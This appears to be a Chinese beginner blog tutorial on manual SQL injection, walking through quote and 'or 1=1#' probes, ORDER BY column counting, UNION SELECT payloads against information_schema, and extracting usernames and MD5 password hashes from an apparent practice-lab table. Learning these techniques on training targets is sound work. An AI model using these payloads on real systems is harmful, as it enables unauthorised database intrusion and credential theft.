上一篇介绍了sql注入的几种基础知识,没有看过的小伙伴可以看看我上一篇:
这篇说说sql注入的几个初级基本步骤
测试注入点
我们可以在数字或字符后面加'
若结果报错,再尝试'or 1=1#
返回正确结果,这时sql语句为:select xxx where id='1'or 1=1#'LIMIT 0,1
那基本可以说明可注入,当然这只是最简单的一种
判断有几列
这里可以利用order by
判断有几列,ORDER BY
原本是用于对结果集进行排序。
假如我们输入'order by 3#
没有报错,而输入order by 4#
提示错误,说明这里有三列数据
union联合注入
前面说过,union
的作用是将两个sql语句进行联合,而且,union
前后的两个sql语句的选择列数要相同才可以。
-1' union select 1,2,3,4#
回显2和3,说明可以再这个位置进行注入
注意,要是前面的为假才能执行union后面的语句
爆表名
-
直接爆表名
?id='-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
-
也可以先爆数据库名
?id='-1' union select 1,database(),3,4
再爆表名:
?id='-1' union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
爆列名
?id='-1'union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
已经查看到name与password两个字段了,查询两个字段的value:
?id='-1'union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
成功拿到用户名和密码,密码使用md5加密,随便找个在线解密即可
练练手
看完了需要练练手加强记忆:
SQL手工注入漏洞测试(MySQL数据库)